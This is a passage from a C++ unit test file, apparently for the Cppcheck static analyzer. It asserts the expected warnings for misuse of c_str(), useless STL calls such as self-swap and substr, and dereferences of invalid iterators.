result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or 